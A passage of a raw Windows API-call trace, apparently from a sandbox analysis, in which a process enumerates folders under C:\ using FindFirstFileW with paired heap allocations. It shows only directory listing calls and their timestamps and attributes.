ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0078.308] GetProcessHeap () returned 0x11a0000 [0078.308] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b12760 [0078.310] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x2fbeff8 | out: lpFindFileData=0x2fbeff8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0078.310] GetProcessHeap () returned 0x11a0000 [0078.310] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b12760 | out: hHeap=0x11a0000) returned 1 [0078.310] GetProcessHeap () returned 0x11a0000 [0078.310] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x123fa80 | out: hHeap=0x11a0000) returned 1 [0078.311] GetProcessHeap () returned 0x11a0000 [0078.311] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x123fa80 [0078.311] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ro-RO\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0078.312] GetProcessHeap () returned 0x11a0000 [0078.312] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x123fa80 | out: hHeap=0x11a0000) returned 1 [0078.312] GetProcessHeap () returned 0x11a0000 [0078.312] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x123fa80 [0078.312] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0078.312] GetProcessHeap () returned 0x11a0000 [0078.312] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x123fa80 | out: hHeap=0x11a0000) returned 1 [0078.312] GetProcessHeap () returned 0x11a0000 [0078.312] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x123fa80 [0078.312] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sk-SK\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0078.312] GetProcessHeap () returned 0x11a0000 [0078.312] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x123fa80 | out: hHeap=0x11a0000) returned 1 [0078.312] GetProcessHeap () returned 0x11a0000 [0078.312] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x123fa80 [0078.312] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sl-SI\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9f10 [0078.313] GetProcessHeap () returned 0x11a0000 [0078.313] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x123fa80 | out: hHeap=0x11a0000) returned 1 [0078.313] GetProcessHeap () returned 0x11a0000 [0078.313] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x123fa80 [0078.313] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0078.313] GetProcessHeap () returned 0x11a0000 [0078.313] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x123fa80 | out: hHeap=0x11a0000) returned 1 [0078.313] GetProcessHeap () returned 0x11a0000 [0078.313] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x123fa80 [0078.313] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0078.313] GetProcessHeap () returned 0x11a0000 [0078.313] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x123fa80 | out: hHeap=0x11a0000) returned 1 [0078.313] GetProcessHeap () returned 0x11a0000 [0078.313] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x123fa80 [0078.313] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9f10 [0078.313] GetProcessHeap () returned 0x11a0000 [0078.313] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x123fa80 | out: hHeap=0x11a0000) returned 1 [0078.313] GetProcessHeap () returned 0x11a0000 [0078.314] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x123fa80 [0078.314] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0078.314] GetProcessHeap () returned 0x11a0000 [0078.314] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x123fa80 | out: hHeap=0x11a0000) returned 1 [0078.314] GetProcessHeap () returned 0x11a0000 [0078.314] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x123fa80 [0078.314] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\uk-UA\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0078.314] GetProcessHeap () returned 0x11a0000 [0078.314] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x123fa80 | out: hHeap=0x11a0000) returned 1 [0078.314] GetProcessHeap () returned 0x11a0000 [0078.314] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x123fa80 [0078.314] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0078.314] GetProcessHeap () returned 0x11a0000 [0078.314] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x123fa80 | out: hHeap=0x11a0000) returned 1 [0078.314] GetProcessHeap () returned 0x11a0000 [0078.314] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x123fa80 [0078.314] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0078.314] GetProcessHeap () returned 0x11a0000 [0078.315] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x123fa80 | out: hHeap=0x11a0000) returned 1 [0078.315] GetProcessHeap () returned 0x11a0000 [0078.315] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x123fa80 [0078.315] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0078.315] GetProcessHeap () returned 0x11a0000 [0078.315] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x123fa80 | out: hHeap=0x11a0000) returned 1 [0078.315] GetProcessHeap () returned 0x11a0000 [0078.315] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ffa60 | out: hHeap=0x11a0000) returned 1 [0078.316] GetProcessHeap () returned 0x11a0000 [0078.316] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x11ffa60 [0078.316] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ESD\\*", lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0078.316] GetProcessHeap () returned 0x11a0000 [0078.316] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ffa60 | out: hHeap=0x11a0000) returned 1 [0078.316] GetProcessHeap () returned 0x11a0000 [0078.316] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x11ffa60 [0078.316] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Logs\\*", lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0078.320] GetProcessHeap () returned 0x11a0000 [0078.320] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ffa60 | out: hHeap=0x11a0000) returned 1 [0078.320] GetProcessHeap () returned 0x11a0000 [0078.320] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x11ffa60 [0078.320] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0078.320] GetProcessHeap () returned 0x11a0000 [0078.320] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ffa60 | out: hHeap=0x11a0000) returned 1 [0078.320] GetProcessHeap () returned 0x11a0000 [0078.320] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x11ffa60 [0078.320] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*", lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf0c0ff31, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf0c0ff31, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0x11b9f10 [0078.321] GetProcessHeap () returned 0x11a0000 [0078.321] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x123fa80 [0078.321] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8ce9c57, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8ce9c57, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1d1, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0078.937] GetProcessHeap () returned 0x11a0000 [0078.937] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b22768 [0078.938] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x2fbeff8 | out: lpFindFileData=0x2fbeff8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0078.938] GetProcessHeap () returned 0x11a0000 [0078.938] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b22768 | out: hHeap=0x11a0000) returned 1 [0078.939] GetProcessHeap () returned 0x11a0000 [0078.939] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b22768 [0078.939] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\*", lpFindFileData=0x2fbeff8 | out: lpFindFileData=0x2fbeff8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0078.939] GetProcessHeap () returned 0x11a0000 [0078.939] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b33778 [0078.939] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\*", lpFindFileData=0x2fbed70 | out: lpFindFileData=0x2fbed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9f90 [0078.973] GetProcessHeap () returned 0x11a0000 [0078.973] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b33778 | out: hHeap=0x11a0000) returned 1 [0078.973] GetProcessHeap () returned 0x11a0000 [0078.973] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b33778 [0078.973] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\*", lpFindFileData=0x2fbed70 | out: lpFindFileData=0x2fbed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9f90 [0078.985] GetProcessHeap () returned 0x11a0000 [0078.985] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0078.985] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.036] GetProcessHeap () returned 0x11a0000 [0079.037] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.037] GetProcessHeap () returned 0x11a0000 [0079.037] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.037] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x12948b0 [0079.037] GetProcessHeap () returned 0x11a0000 [0079.037] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.037] GetProcessHeap () returned 0x11a0000 [0079.037] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.037] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294770 [0079.038] GetProcessHeap () returned 0x11a0000 [0079.038] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.038] GetProcessHeap () returned 0x11a0000 [0079.038] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.038] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x12945f0 [0079.038] GetProcessHeap () returned 0x11a0000 [0079.038] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.038] GetProcessHeap () returned 0x11a0000 [0079.038] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.038] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.048] GetProcessHeap () returned 0x11a0000 [0079.048] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.049] GetProcessHeap () returned 0x11a0000 [0079.049] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.049] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x12948f0 [0079.049] GetProcessHeap () returned 0x11a0000 [0079.049] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b45790 | out: hHeap=0x11a0000) returned 1 [0079.049] GetProcessHeap () returned 0x11a0000 [0079.049] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b45790 [0079.049] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\*", lpFindFileData=0x2fbeae8 | out: lpFindFileData=0x2fbeae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294530 [0079.050] GetProcessHeap () returned 0x11a0000 [0079.050] HeapFree (in: 